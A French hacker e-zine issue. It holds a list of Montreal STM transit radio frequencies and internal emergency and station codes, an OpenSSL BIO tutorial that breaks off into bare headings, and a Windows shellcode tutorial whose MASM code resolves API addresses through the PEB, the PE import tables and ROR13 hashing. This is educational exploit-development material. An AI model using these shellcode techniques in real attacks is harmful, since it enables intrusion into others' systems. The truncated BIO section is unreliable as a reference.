          		                                                                 |  |
         		                                                                 |  :
          		  radio31337       http://radio31337.mindkind.org               /   '
 	  		                                                               /   / B
	 		                                                              /   / U   
  	  		  linuxcafe        http://www.linux-cafe.ca                  /   , P   
                          security hack    http://securityhack.net                  /   /    
										   /   / O       
           ____ _ _ _ _______________________________ ______ _ _ _________________/   . F         
           \						                             / N       
            \__ _________________________ _ _ _ __________ __  __ __ _ ____ _ _  _ _/ I
 											   
             




  





     	    .-- -- ---- ----.
     	 ___|  MKD1001\003  |____ _ ___________ _ ___________________________________
     	|   '---------------'                                                        |
     	| 							                     |     
     	|     .---- - ----------------- - ---------------------------------- - --.   .
     	'-----'                                                                  '---'
                                                      
                                        STM communication  
   
  	                                       AKA

				       aprizm nique La STM

                                      

              
         
       
       
                           .-..,,,,,_           
                        ,-`          `````'''---
                      .'      _,,.---..,,        `,      
                   _-`    ,-'`           `'-,      .     
                 ,'    _-`                   `',    \    
               -`     /                  .-     `.   `,  
               |    ,'                   | `.     .    . 
               \   /    -----------------\   \     \    '
                | /     |                     `.   \   .
                | |     |                       ,   |  |
                | |     |                      /    | / 
                | |     |                     /     | \ 
                \  ,    \-----       .----/  /     /  |
                 | \         |       |    | /      /  |
                 |  `.       |       |    \/      '  /            
                 \-,  \      |       \   *      ,'   |            
                    `. `',   \-------- ***   _-`     \  _,.       
                      `.  `-,,         ***,-`        -'`   `.     
                        `.    ******-'******  *** ***  ***   '    
                          /  ***  *** ******  *************   .    
                          \  ***       ***    ***  ***  ***   |    
                           | ******    ***    ***  ***  ***   |    
                           \  ******   ***    ***  ***  ***   |    
                           /   ******  ***    ***  ***  ***   |    
                           `      ***  ***    ***  ***  ***   |    
                          /  ***  ***  *****  ***  ***  ***  /     
                          -,  ******    ****  ***  ***  ***  |     
                            `.     ,,--.,       ,.-, *.oob.* | 
                              'mK``      ``'A1'`    `'/   `.| 
                                                            \ 



Chaque jours j'utilise le transport en commun et je me demande qu'est ce qui se passe derriere
cette geande machine soustenu par des gens habilles de bleu fonce avec le logo <STM> comme des 
minions...Ben jai faite des recherches et puis je vais partager le fruit de   mes  recherches.
Donc on commence ici par une liste des frequences utilise par la stm :


Surveillance du réseau (Sécurité) 
411.4375 


Dans le metro seulement (système radio sous-terrain) 
163.9200 Portatif 1 
165.7200 P.C.C. 1 
168.5050 Portatif 4 
169.4400 P.C.C. 2 
169.9050 P.C.C. 3 
464.2500 Portatif 2 
469.4500 Portatif 3 


voici un lien pour une liste plus complete : http://www.infoscan.urgence.qc.ca  <---  il  faut 
s'inscrire mais sa vaut le coup...  faite une recherche pour : EDACS STM 

Pour ecouter ces frequences un scanner analogue devrais faire la job y changent  graduellement 
leur equipement pour du digital d'ici la fin de 2006.

Donc maintenant que vous avez reussi a ecouter, voici une liste des codes de la stm  aussi  on
peut les entendres desfois quand on est sur les rames :


Code 61 : Surtemps pour les changeurs mais en urgence 

131 ou 132 Les surintendant des stations ligne 1 ou ligne 2 

131 ou 132 suivi  d'un  autre  chiffre  autre  que le 6 : Le gérant de station portant ce code 
           d'appel personnel. 

Un chiffre suivi du 6 : Le  nettoyeur  de  la station concerné (ex: 132-6 = le nettoyeur de la 
station Lionel-Groulx) 

430 - 440 - 432 et 442 = Les  4  contremaîtres  responsables de l'entretien sanitaire. Je suis 
                         442 

Code 900 suivi d'un chiffre de 01 à 013 et du nom de la station indique aux employés la nature 
de  la  panne. Ces codes sont des codes d'urgences demandant aux employés de porter assistance 
s'ils sont dans la station concernée. 

Ex: Code 900-02 station 140 indique une intrusion en tunnel par un usager à la station McGill 

01 Interventions policières 
02 Intrusion en tunnel 
03 Alerte à la bombe 
04 Tentative de mort violente 
05 Incendie 
06 Panne d'électricité 
07 Infiltration de matières dangereuses 
08 Inondation 
09 Dynamitage 
010 Dommages structuraux 
011 Collision et/ou déraillement 
012 État de panique de la clientèle 
013 Assistance médicale 


Ces codes servent également à décongestionner les lignes téléphoniques utilisées pour le  code 
99 puisque le code donne toute l'information requise pour informer la clientèle.    Ces  codes 
indiquent également que le Centre de communication est en état d'urgence et que    les  appels
non-urgents doivent être reportés après l'incident... C'est pas le temps de les  appeler  pour 
les informer qu'un client a vomi à tel endroit, ça peut attendre ! 

Il existe plusieurs autres codes mais ce sont pour la plupart des appels  s'adressant  à   des
employés spécifiques (matricule de l'employé ou encore no de la section concernée). 

Ex: 69520 = Mon équipe et moi 


Voici la liste des codes des stations 


118 - Angrignon 
120 - Monk 
122 - Jolicoeur 
124 - Verdun 
126 - De L'Église 
128 - Lasalle 
130 - Charlevoix 
132 - Lionel-Groulx 
134 - Atwater 
136 - Guy-Concordia 
138 - Peel 
140 - McGill 
142 - Place-des-Arts 
144 - Saint-Laurent 
146 - Berri/UQAM 
148 - Beaudry 
150 - Papineau 
152 - Frontenac 
154 - Préfontaine 
156 - Joliette 
158 - Pie-IX 
160 - Viau 
162 - L'Assomption 
164 - Cadillac 
166 - Langelier 
168 - Radisson 
170 - Honoré-Beaugrand 
222 - Côte-Vertu 
224 - Du Collège 
228 - De La Savane 
230 - Namur 
232 - Plamondon 
234 - Côte Ste.Catherine 
236 - Snowdon 
238 - Villa-Maria 
242 - Vendôme 
244 - Place Saint-Henri 
248 - Georges-Vanier 
250 - Lucien L'Allier 
252 - Bonaventure 
254 - Square-Victoria 
256 - Place d'Armes 
258 - Champs-de-Mars 
262 - Sherbrooke 
264 - Mont-Royal 
266 - Laurier 
268 - Rosemont 
270 - Beaubien 
272 - Jean-Talon 
274 - Jarry 
276 - Crémazie 
278 - Sauvé 
280 - Henri-Bourassa 
452 - Jean-Drapeau 
454 - Longueuil 
534 - Côte-des-Neiges 
536 - Université de Montréal 
538 - Édouard-Montpetit 
540 - Outremont 
542 - Acadie 
544 - Parc 
546 - De Castelnau 
552 - Fabre 
554 - D'Iberville 
556 - Saint-Michel 



L'osti d'ecran geant dans berri uqam ben stun pc qui roule sa.. plus precisement un p4 3.2 ghz 
sa bug souvent chaque matin jvois dekoi qui fuck on dirais heahaeh desfois sa   reboot  lautre 
matin cetait bugge pis sa donnais un message genre : missing or invalid hal.dll. Anyways... si 
qqun reussi a voir des choses sur cette ecran prenez des pics ou prenez des notes .... :D 

Avec le zine jai reussi a injecter 2 file audio de la stm  (voir  le folder STM communication)
mais si vous en voulez plus yen a une couple  sur   :  http://www.stcum.qc.ca/info/timbres.htm
jvais essayer den recorder moi meme  si jreussi a me trouver un scanner portable abordable ... 
enjoy :D 

C'est tout pour linstant jdevrais en ecrire un autre dans un prochain # ...  La  stm  renferme 
beaucoup de secret qui merite une attention particuliere ... P3ace

source: 

http://www.stm.info
http://www.metrodemontreal.com <--- mad props yon tellement dinfos sa vaut lcoup daller  jeter
                                    un coup doeil au board de temps en temps. 


Aprizm


     	.-----.           		         	       		         .---.
     	|     '----- - ------ - ------- - ------------------------------------- -'   |
     	|									     |
     	|______ _ ________________________________.--------------------.______ _ ____| 
       	                                          |      by aprizm     |
           			                  '--------------------'


                   
 						     


      ___ __________________ _ _____________________________________________________________
     | 					                                                    |
     |    _____________________________________________________ _ __ _ __ _ __ __ _______   |
     |___| 										 |  |
                                          radio31337 		           		 .  '
        									         |  |
                                http://radio31337.mindkind.org/                          :  |
                         					                         |  |
       	   Depuis le 15 octobres, radio31337 est devenu un network. Si certain ce        |  |
           demande ce que ca veut dir, he bien voici comment LastCall_ nous a toute      |  |
           essspliquer ca :           						         |  |
    											 |  |
          "Radio 31337 est maintenant un network! Kossé ça veut dire? Juste que nous     |  |
           allons avoir plusieurs émissions originales, et que l'émission avec init et   |  |
           last sera "31337radio".  			                                 ;  '
                                                                                         |  |
           Simple comme bonjour, merci Last. A vous maintenant de vous tenir au courant  |  :
           afin d'ecouter les emissions live. Sinon, allez faire un tour sur le site	/   '
 	   de temps en temps, les emissions sont tous uploader en format mp3. Si       /   / B
	   vous desirez avoir votre propre emission, contactez notre unique LastCall_ /   / U   
  	   		 				                             /   , P   
                                     lastcall@mindkind.org     			    /   /    
										   /   / O       
           ____ _ _ _ _______________________________ ______ _ _ _________________/   . F         
           \						                             / N       
            \__ _________________________ _ _ _ __________ __  __ __ _ ____ _ _  _ _/ I
 											   




     	    .-- -- ---- ----.
     	 ___|  MKD1001\004  |____ _ ___________ _ ___________________________________
     	|   '---------------'                                                        |
     	| 							                     |     
     	|     .---- - ----------------- - ---------------------------------- - --.   .
     	'-----'                                                                  '---'
                                                      
                                     Utilisation de BIO_SSL
   
  	                                       AKA

				     coucou cherie c moi !
                                      



utilisation de BIO_SSL
SSL
algos utilisé
contexte SSL
BIO
introduction
description



la  lib  BIO est une couche d'abstraction d'entreée/sortie. grâce à celle ci, vous pourrez lire
dans un fichier classique, comme vous communiquerez via socket protègé par SSL. 

les chaines
cette lib contient 2  types  d'elements, les sources  (socket, fichier, ...)  et  les  filtres 
(cryptage, buffer, ...). ces elements sont  relié ensemble selon les besoins de l'utilisateur, 
en une double liste chaine un exemple classique est la chaine BIO utilise par un client SSL : 

BIO_buffer => BIO_ssl => BIO_socket
le  premier  element de la chaine est le  premier à être appelé  lors  de  toute  opération de 
lecture/écriture.  par  exemple, si l'on fait une opération read sur buffer, celui si va faire 
une opération read sur SSL, qui fera lui même une  opération  read  sur  socket.  le   dernier 
element doit donc être une source, et les autres des filtres. 

tout  BIO  est  un maillion d'une chaine, lors de sa création, il est seul, c'est a nous de le 
lier grâce à BIO_push qui permet d'ajouter un  element à la  fin  BIO_pop  permet  de  retirer 
l'element  courant  de  la  chaine,  et  renvoi  l'element  suivant connecté à toute la chaine 
résultante. 

la structure des elements
un BIO_METHOD est un type, qui contient les opérations necessaire au BIO : 

typedef struct bio_method_st {
  int type;
  const char *name;

  int (*bwrite)(BIO *, const char *, int);
  int (*bread)(BIO *, char *, int);
  int (*bputs)(BIO *, const char *);
  int (*bgets)(BIO *, char *, int);
  long (*ctrl)(BIO *, int, long, void *);

  int (*create)(BIO *);
  int (*destroy)(BIO *);

  long (*callback_ctrl)(BIO *, int, bio_info_cb *);
} BIO_METHOD;


pour  créer un nouvel element, il nous faut recuperer le BIO_METHOD  de  notre  element.  pour 
chaque type de maillion BIO, il existe une  fonction  permettant  de  recuperer ce BIO_METHOD, 
son nom est forme comme suit : 

// sources
BIO_METHOD *BIO_s_accept(void);
BIO_METHOD *BIO_s_connect(void);
BIO_METHOD *BIO_s_socket(void);
BIO_METHOD *BIO_s_fd(void);
// filtres
BIO_METHOD *BIO_f_ssl(void);
BIO_METHOD *BIO_f_buffer(void);

// sources et filtres inconnue en vrac
BIO_METHOD *BIO_s_mem(void);
BIO_METHOD *BIO_s_log(void);
BIO_METHOD *BIO_s_datagram(void);
BIO_METHOD *BIO_s_bio(void);
BIO_METHOD *BIO_s_null(void);
BIO_METHOD *BIO_f_null(void);
BIO_METHOD *BIO_f_linebuffer(void);
BIO_METHOD *BIO_f_nbio_test(void);

la  structure  d'un maillion est complexe, mais il y'a peu à gerer pour créer un nouveau type 
de maillion

typedef struct bio_st{
  BIO_METHOD *method;
  
  long (*callback)(struct bio_st *,int,const char *,int, long,long);
  char *cb_arg;

/* partie importante si on cree un nouveau type de maillion */
  int init;
  int shutdown;
  int flags;
  int retry_reason;
  int num;
  void *ptr; // on stocke nos donnes lie/****************************************************/

  struct bio_st *next_bio;
  struct bio_st *prev_bio;

  int references;
  unsigned long num_read;
  unsigned long num_write;

  CRYPTO_EX_DATA ex_data;
} BIO;


mais  pour  l'instant  nous  allons nous contenter des types que nous avons, et la création de 
nouveau type pourra être le sujet d'un autre article

opération de base
BIO_buffer
BIO_ssl
BIO_connect
BIO_accept
utilisation de openssl
generation de clé/h2> 
certificat
empreinte
elements interressant de la lib ssl
BN
     __  __           __  _____               
    / / / /___ ______/ /_|__  /   _____  _____
   / /_/ / __ `/ ___/ //_//_ < | / / _ \/ ___/
  / __  / /_/ / /__/ ,< ___/ / |/ /  __/ /    
 /_/ /_/\__,_/\___/_/|_/____/|___/\___/_/     - (c)Hack3ver - All rights reversed.



     	.-----.           		         	       		         .---.
     	|     '----- - ------ - ------- - ------------------------------------- -'   |
     	|									     |
     	|______ _ ________________________________.--------------------.______ _ ____| 
       	                                          |      by Hackever   |
           			                  '--------------------'




      ___ __________________ _ _____________________________________________________________
     | 					                                                    |
     |    _____________________________________________________ _ __ _ __ _ __ __ _______   |
     |___| 										 |  |
                                a fruity tales of experiences.                           .  '
        									         |  |
                                                                                         :  |
                                                                                         ;  '
            <Wyzeman> asti de bug vedge les windows devienne pu ontop                    |  |
            <Wyzeman> c crissement annoy                                                                             |  :
            <patoff> ctrl + alt + del,  esc   ca arrange souvent                        /   '
 	    <Wyzeman> true                                                             /   / B
	                                                                              /   / U   
  	   		 				                             /   , P   
                                                            			    /   /    
										   /   / O       
           ____ _ _ _ _______________________________ ______ _ _ _________________/   . F         
           \						                             / N       
            \__ _________________________ _ _ _ __________ __  __ __ _ ____ _ _  _ _/ I
 											   





     	    .-- -- ---- ----.
     	 ___|  MKD1001\005  |____ _ ___________ _ ___________________________________
     	|   '---------------'                                                        |
     	| 							                     |     
     	|     .---- - ----------------- - ---------------------------------- - --.   .
     	'-----'                                                                  '---'
                                                      
                                   Inteligent Windows Shellcode
   
  	                                      AKA

                                   Inteligent Windows Shellcode ;)
	          
                                     
  

) Intro
--------

Hello everybody. Dans mes derniers articles j'ai exploite differentes
vulnerabilitees en utilisant des shellcodes. Ces shellcodes ne pouvaient
fonctionner que sur un seul environnement, les adresses que j'ai utilisees
pour les fonctions etaient celles de mon win2K sp4 et celles ci ont une facheuse
tendance a etre modifiees avec les updates et version de win.

Nous allons voir qu'il est possible de creer un code capable de se reperer
tout seul dans le processus attaque. Pour cela je vais parler de la gestion de
l'espace memoire sous win, du format PE, ... 
Je n'ai pas envie de tout expliquer, vous trouverez des liens pour vous aider avec 
certaines choses. He ouais faut bien que vous bossiez tout seul :p

Les codes que je donne ici ne sont pas des references, je suis pas un tres bon
codeur, j'essaye neanmoins de faire du mieux que je peux.


II) Some explanations
---------------------
Il faut savoir que sous tout les OS multitaches chaque processus possede son
prope espace memoire. Sous un windows 32 bits il y a 2^32 addresses possibles
pour chaque process, donc un espace virtuellement ! allouable de 4.3 Gb
(chaque process ne prend pas 4 G de ram hein ;))de 00000000h à FFFFFFFFh, la moitie de
cet espace est reserve au noyau (kernel land) et l'autre moitie a l'utilisateur
(user land). Lorsque vous lancer un prog celui ci est charge en memoire par le
loader de windows, celui ci trouve plein d'informations dans l'en-tete du
fichier, le fameux format PE, il renseigne le loader sur l'endroit ou il doit
charger les donnees,les differentes sections et le plus important sur les
fonctions importees ou exportees. Pour nous l'objectif sera que notre code
aille lire ces infos pour trouver ses fonctions. De plus amples information avec [Ring3].

Il existe 3 types d'adresses:VA, RVA et RAW: 
Les VA (virtual address) sont les addresses qui sont manipulees par tout programme de 
la forme 0x12345678 

les RVA (Relative Virtual Adress) sont comme sont leurs nom l'indique des addresses
relative a l'ImageBase du process ainsi dans l'en-tete PE toute les adresse sont
des RVA par exemple si pour AddressOfNames on a 0x54F4C, pour trouver
AddressOfNames en memoire il faut lui ajouter l'ImageBase, si celle ci vaut
0x77E70000 on aura AddresseOfNames a 0x77EC4F4C. 

Les RAW sont quand a elles des addresses qui sont ds le fichier sur le disque.
Pour notre exemple cela donne offset:5454C

Vous trouvez des docs avec [NEITSA] et [LORDPE].

Nous voulons que notre shellcode soit capable de se demerder tout seul, il
nous faut donc avoir un repere fiable et communs a tout les processus. Pour nous ce
sera le TEB (Thread Environnement Block) c'est tout simplement une structure
qui contient differentes informations sur le thread executé, il est toujours
pointe par le segment FS:[0] (Voir [RW32GS]). Dans cette structue du TEB nous
trouvons en 0x30 un pointeur sur le PEB (Process Environnment Block). Dans le PEB on
trouve a 0x8 l'ImageBase de notre process c'est a dire l'endroit ou il a ete
charge en memoire.

typedef struct _PEB {
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
BOOLEAN Spare;
HANDLE  Mutant;
PVOID   ImageBaseAddress; //0x8
PPEB_LDR_DATA LoaderData; //0xC
..
..
} PEB, *PPEB;


Apres avoir recupere l'ImageBase de notre process il faut que notre code
trouve la fonction dont il a besoin, pour cela il va aller lire les differentes
informations du PE. Je vais essayer d'expliquer comment l'on va proceder.

IMAGE_DOS_HEADER.e_lfanew // RVA IMAGE_NT_HEADERS32

IMAGE_NT_HEADERS32.OptionalHeader.DataDirectory[1].VirtualAddress //RVA IMAGE_IMPORT_DESCRIPTOR

Chaque structure IMAGE_IMPORT_DESCRIPTOR contient des informations pour une
DLL importee. Par exemple si nous importons des fonctions de Kernel32.dll et de
User32.dll nous aurons 2 structures qui se suivent dans la memoire (un tableau
quoi). Voila a quoi ressemble une de ces structure:

typedef struct _IMAGE_IMPORT_DESCRIPTOR {
    union {
        DWORD   Characteristics;            // 0 for terminating null import descriptor
        DWORD   OriginalFirstThunk;         // RVA to original unbound IAT (PIMAGE_THUNK_DATA)
    };
    DWORD   TimeDateStamp;                  // 0 if not bound,
                                            // -1 if bound, and real date\time stamp
                                            // in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)
                                            // O.W. date/time stamp of DLL bound to (Old BIND)

    DWORD   ForwarderChain;                 // -1 if no forwarders
    DWORD   Name;
    DWORD   FirstThunk;                     // RVA to IAT (if bound this IAT has actual addresses)
} IMAGE_IMPORT_DESCRIPTOR;

Ce qui nous interresse est OriginalFirstThunk et Firsthunk. L'union que vous
voyez signifie que la premiere valeur de la structure est aussi bien
Characteristics que OriginalFirstThunk mais ca n' a pas trop d'importance ici.
En fait nous avons 2 pointeurs sur des tableaux de Thunks:

typedef struct _IMAGE_THUNK_DATA32 {
    union {
        DWORD ForwarderString;      // PBYTE
        DWORD Function;             // PDWORD
        DWORD Ordinal;
        DWORD AddressOfData;        // PIMAGE_IMPORT_BY_NAME
    } u1;
} IMAGE_THUNK_DATA32;
typedef IMAGE_THUNK_DATA32 * PIMAGE_THUNK_DATA32;

Vous voyez que IMAGE_THUNK_DATA32 n'est qu'un simple DWORD qui peut vouloir
dire plein de choses. En fait l'OrginalFirstThunk pointe sur un tableau de Thunks
ne contenant que des RVA (AddressOfData) sur IMAGE_IMPORT_BY_NAME cette structure
contient un word puis le nom de la fonction importee.

typedef struct _IMAGE_IMPORT_BY_NAME {
    WORD    Hint;
    BYTE    Name[1];
} IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME;

Nous savons ou sont les noms des fontions, il nous "suffit" de scanner ces
noms afin de trouver celle qu'on cherche. Mais il  faut savoir a quelle addresse
est chargee cette fonction pour cela on va utiliser le second tableau de Thunk
celui pointe par FirstThunk, chacun de ces Thunk pointe sur la VA d'une fonction, en
schematisant ca donne:

OriginalFirstThunk->AddressOfData

[Thunk 1]													[Thunk2]								[Thunk3]              [Thunk4]
0x00EC/"NtResetWriteWatch"   0x014A/"RtlAllocateHeap"	    0x009/"NtOpenFile"    0x003D/"ExitProcess"  //Hint/Name

FirstThunk->Function

[Thunk 1]													[Thunk2]								[Thunk3]               [Thunk4]
0x12345678												0x.......								0x.......              0x.......  //adresses des fontions


Ces 2 tableau sont paralleles, ainsi si nous voulons l'adresse de ExitProcess
nous scannons le tableau des noms de fontions, on remarque que c'est le 4 eme
Thunk puis nous allons dans le tableau des adresses de fontions et l'on prend
le 4 eme element easy :)


III) L'Importation
----------------

J'ai decide de faire cela en assembleur pour avoir le code le plus petit
possible et parceque j'aime l'asm ;). So let's go.
Evidemment c'est compiler avec MASM32 [MASM32].

Ban on commence par un premier probleme, comment etre sur de tomber sur la
bonne fontion, je m'explique. Vous le savez (ou pas) en assembleur on ne peut 
comparer directement que des BYTE,WORD ou DWORD, imaginons que je cherche la fonction ExitProcess
je scanne mon tableau de noms puis je compare avec "ExitProcess" pour voir si
j'ai la bonne mais c'est la qu'il ya souci si l'on fait:

cmp dword ptr [eax],"tixE" // eax pointe sur le nom de la fontion et on le compare a "Exit"

parce que si jamais il y existe un autre fonction commencant par Exit on est
foutu. Et je peut vous dire qu'il en existe
pas mal: ExitThread,ExitTaMere, ExitTonCul .....bref :)

Dans de nombreux shellcodes que j'ai vu que la methode de comparaison avec une
string qui etait mise en oeuvre etait souvent complique voir [ROOTKIT]. 
Cependant il existe une methode, c'est d'assigner une signature a chaque fonction. 
Un hash si vous preferer, pas un truk genre MD5 au SHA-1 mais qqch de plus simple qui nous
permettera d'avoir une signature unique par fonction,le voici en C_asm :)

------------CUT HERE--------------------
#include <stdio.h>

int main (int argc, char * argv[])
{
	if (argc !=2)
	return -1;
	
	int hash=0;
	for (int i=0; *(argv[1]+i)!=0;i++)
	{
	__asm{
	lea eax,hash //adresse du hash ds eax
	mov ebx,[eax] //ebx=hash
	ror ebx,0xD //decalage de 13 bytes sur la droite
	mov [eax],ebx //refout ca ds hash
	}
	hash+=*(argv[1]+i); //on ajout a hash le i eme caractere*i
	}
	printf("Hash de %s: %x\n",argv[1],hash);
}
------------CUT HERE--------------------

Exemple avec ExitProcess:
C:\ProgHack\C>hash ExitProcess
Hash de ExitProcess: 73e2d87e

Apres tout ca ya plus qu'a pondre le code :)
voili voilou:

------------CUT HERE--------------------
.486
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\masm32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\masm32.lib
assume fs:nothing

FindImport	PROTO	:DWORD,:DWORD

_ExitProcess equ 073e2d87eh

.data
format db "Addr: 0x%x ",10,0
.data?
buffer db 100 dup(?) 
.code
start:
		mov eax,fs:[30h]		;Sur le PEB
		mov ebx,[eax+08h]		;Sur image base address
		
		invoke FindImport,ebx,_ExitProcess
		invoke wsprintf,addr buffer,addr format,eax
		invoke StdOut,addr buffer
		invoke ExitProcess,0
		retn
		
FindImport PROC _ImageBase:DWORD, ApiHash:DWORD	

		mov ebp,_ImageBase			;ebp=ImageBase Process
		mov eax,[ebp + 03ch]		; signature PE
		mov ecx,[ebp + eax + 080h]	; RVA Import Table
		
		mov edx,ebp
		add edx,ecx 	;edx VA IMAGE_IMPORT_DESCRIPTOR.OriginalFirstThunk
		
	next_dll:
		mov ebx,dword ptr [edx]	;Rva IMAGE_THUNK_DATA32
		test ebx,ebx	;Fin du tableau?
		je fin
		add edx,014h	;Next IMAGE_IMPORT_DESCRIPTOR (prochaine DLL)
		add ebx,ebp	;VA IMAGE_THUNK_DATA32
		xor ecx,ecx	;compteur a 0 ;compteur pour les fonctions de la dll
		;On scan les noms de fonctions a la recherche de celle qui nous interesse
		
	find_function:
		
		mov esi,dword ptr [ebx+ecx]	;esi RVA AddressOfData
		add ecx,4	;next IMAGE_THUNK_DATA32
		test esi,esi	;plus de Thunk ?
		je next_dll
		add esi,ebp	;esi VA IMAGE_IMPORT_BY_NAME 
		add esi,2	;Name
		
		xor edi, edi
		xor eax, eax
		cld
	hash:
		lodsb	;LODSB Load byte at address DS:(E)SI into AL
		test al,al	;fin du nom ?
		jz finished
		ror edi,0dh
		add edi,eax
		jmp hash
	finished:
	cmp edi,dword ptr [esp+0Ch]	;ApiHash
	
;Image de la stack	
;esp=> 		0012FFF0  saved ebp
;esp+4	    00401014  save eip
;esp+8  	00400000  ImageBase
;esp+C 	    73E2D87E  Hash

	jne find_function
	
	sub edx,14h
	sub ecx,4
	mov ebx,dword ptr [edx+10h]	;rva firstthunk
	add ebx,ebp	;tableau des thunks
	add ebx,ecx	;eax addr de va fonction
	mov eax,dword ptr [ebx]
	jmp bye
	fin:
	xor eax,eax
	bye:
	pop ebp
	retn 
FindImport endp

end start 
------------CUT HERE--------------------

Ce qui nous donne:
Addr: 0x77e969be
Ho yeah on a l'addresse :).

Hola pas la peine de ce rejouir trop vite. En effet par cette methode nous ne
pouvons recuperer que les addresses de fonctions importes par notre programme. 
He ouais si on cherche d'autre fonctions c'est foutu:
par exemple vla ce que on importe avec le prog import.exe.(fait avec LordPe)


->Import Table
   1. ImageImportDescriptor:
    OriginalFirstThunk:  0x00002064
    TimeDateStamp:       0x00000000  (GMT: Thu Jan 01 00:00:00 1970)
    ForwarderChain:      0x00000000
    Name:                0x00002078  ("user32.dll")
    FirstThunk:          0x00002010

    Ordinal/Hint API name
    ------------ ---------------------------------------
    0x0262       "wsprintfA"

   2. ImageImportDescriptor:
    OriginalFirstThunk:  0x00002054
    TimeDateStamp:       0x00000000  (GMT: Thu Jan 01 00:00:00 1970)
    ForwarderChain:      0x00000000
    Name:                0x00002092  ("kernel32.dll")
    FirstThunk:          0x00002000

    Ordinal/Hint API name
    ------------ ---------------------------------------
    0x0134       "GetStdHandle"
    0x0080       "ExitProcess"
    0x029E       "WriteFile"


Whaou on importe 4 fonctions. Pas de quoi faire grand chose avec ca. Mais il
existe une autre solution, c'est d'aller les chercher ds les tables d'exportations 
des dll chargees!

IV) L'Exportation
------------------

Precedemment nous avons fouille dans le PEB pour touver l'ImageBase de notre
process, on peut aussi trouver dans ce PEB les ImageBase des dll (ou modules)
chargees par le prog. Il nous suffit de recup ces ImageBase puis de lire les
tables d'exportation des modules.[WIN_MEM]

A 0xC on trouve dans le PEB un pointeur sur une structure PEB_LDR_DATA la voici:

typedef struct _PEB_LDR_DATA
{
	unsigned int Length ; 	
	int Initialized ;	 
	PVOID SsHandle ;	
	LIST_ENTRY InLoadOrderModuleList ;	// 0x0c
	LIST_ENTRY InMemoryOrderModuleList ;	// 0x14
	LIST_ENTRY InInitializationOrderModuleList ;// 0x1c
} PEB_LDR_DATA, *PPEB_LDR_DATA ;


On va s'interesser a la double liste chainé InMemoryOrderModuleList qui
contient des pointeurs sur des structures de type LDR_MODULE:

typedef struct _LIST_ENTRY {
  struct _LIST_ENTRY *Flink;
  struct _LIST_ENTRY *Blink;
} LIST_ENTRY, *PLIST_ENTRY;

Une double liste chainee c'est pas dur ya un pointeur vers la structure suivant
puis un autre sur la structure precedente :)

typedef struct _LDR_MODULE {
  LIST_ENTRY              InLoadOrderModuleList;
  LIST_ENTRY              InMemoryOrderModuleList;
  LIST_ENTRY              InInitializationOrderModuleList;
  PVOID                   BaseAddress;
  PVOID                   EntryPoint;
  ULONG                   SizeOfImage;
  UNICODE_STRING          FullDllName;
  UNICODE_STRING          BaseDllName;
  ULONG                   Flags;
  SHORT                   LoadCount;
  SHORT                   TlsIndex;
  LIST_ENTRY              HashTableEntry;
  ULONG                   TimeDateStamp;
} LDR_MODULE, *PLDR_MODULE;


A 0x18 on a l'ImageBase du module, si c'est pas joli tout ca. Evidemment dans
les modules chargés on trouve l'ImageBase de notre process et celui ci n'exporte pas les
fonctions que nous voulons donc on touche pas.

Voila le code qui enumere les ImageBase des modules chargés.

------------CUT HERE--------------------
.486
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\masm32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\masm32.lib
assume fs:nothing

.data

load db "InLoadOrderModuleList:",10,0
memory db 10,"InMemoryOrderModuleList",10,0
ini db 10,"InInitializationOrderModuleList",10,0
format db "Imagebase: 0x%x ",10,0
.data?
buffer db 100 dup(?) 
.code
start:
		invoke StdOut,addr  load
		mov eax,fs:[30h]		;Sur le PEB
		mov edx,[eax+8h]		;On prend l'ImageBase du process
		mov ebx,[eax+0Ch]		;PEB->LoaderData
		mov ebx,dword ptr [ebx+0Ch];LoaderData->InLoadOrderModuleList.Flink
	next_Flink:
		mov eax,dword ptr [ebx+18h];Flink->BaseAddress 
		mov ecx,dword ptr [ebx];Flink->InLoadOrderModuleList.Flink  prochaine structure
		mov ebx, dword ptr [ebx]
		pushad
		invoke wsprintf,addr buffer,addr format,eax
		invoke StdOut,addr buffer
		popad
		test eax,eax ;quand ya plus 
		jne next_Flink
		
		invoke StdOut,addr memory
		
		mov eax,fs:[30h]		;Sur le PEB
		mov edx,[eax+8h]		;On prend l'ImageBase du process
		mov ebx,[eax+0Ch]		;PEB->LoaderData
		mov ebx,dword ptr [ebx+014h];LoaderData->InMemoryOrderModuleList.Flink
	next_Flink1:
		mov eax,dword ptr [ebx+10h];Flink->BaseAddress 
		mov ecx,dword ptr [ebx];Flink->InMemoryOrderModuleList.Flink  prochaine structure
		mov ebx, dword ptr [ebx]
		pushad
		invoke wsprintf,addr buffer,addr format,eax
		invoke StdOut,addr buffer
		popad
		test eax,eax ;quand ya plus 
		jne next_Flink1
		
		
		invoke StdOut,addr ini
		
		mov eax,fs:[30h]		;Sur le PEB
		mov edx,[eax+8h]		;On prend l'ImageBase du process
		mov ebx,[eax+0Ch]		;PEB->LoaderData
		mov ebx,dword ptr [ebx+01Ch];LoaderData->InInitializationOrderModuleList.Flink
	next_Flink2:
		mov eax,dword ptr [ebx+8h];Flink->BaseAddress 
		mov ecx,dword ptr [ebx];Flink->InInitializationOrderModuleList.Flink  prochaine structure
		mov ebx, dword ptr [ebx]
		pushad
		invoke wsprintf,addr buffer,addr format,eax
		invoke StdOut,addr buffer
		popad
		test eax,eax ;quand ya plus 
		jne next_Flink2
		
		invoke ExitProcess,0
		retn
	
end start 

------------CUT HERE--------------------

Ce qui donne:

InLoadOrderModuleList:
Imagebase: 0x400000 //Notre process
Imagebase: 0x78460000 //Ntdll.dll
Imagebase: 0x77e00000 //User32.dll
Imagebase: 0x77f40000 //GDI32.dll
Imagebase: 0x77e70000 //Kernel32.dll
Imagebase: 0x0

InMemoryOrderModuleList
Imagebase: 0x400000
Imagebase: 0x78460000
Imagebase: 0x77e00000
Imagebase: 0x77f40000
Imagebase: 0x77e70000
Imagebase: 0x0

InInitializationOrderModuleList
Imagebase: 0x78460000
